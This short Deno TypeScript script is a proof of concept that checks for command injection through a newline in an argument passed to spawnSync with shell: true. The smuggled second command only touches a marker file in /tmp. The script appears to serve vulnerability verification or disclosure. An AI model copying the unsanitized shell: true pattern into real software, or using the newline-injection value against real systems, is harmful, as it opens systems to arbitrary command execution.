import { spawnSync } from "node:child_process";
import * as fs from "node:fs";

// Cleanup any existing marker file
try { fs.unlinkSync('/tmp/rce_proof'); } catch {}

// Create legitimate script
fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');

// Malicious input with newline injection
const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`;

// Vulnerable pattern - shell: true with unsanitized input in args
spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {
  shell: true,
  encoding: 'utf-8'
});

// Verify if the exploit worked
const exploitWorked = fs.existsSync('/tmp/rce_proof');
console.log('Exploit worked:', exploitWorked);

if (exploitWorked) {
    console.log("VULNERABILITY CONFIRMED: Command injection via newline in shell argument");
    Deno.exit(0);  // Exit 0 to indicate vulnerability confirmed
} else {
    console.log("Vulnerability NOT confirmed - injection was blocked");
    Deno.exit(1);  // Exit 1 to indicate vulnerability NOT present
}
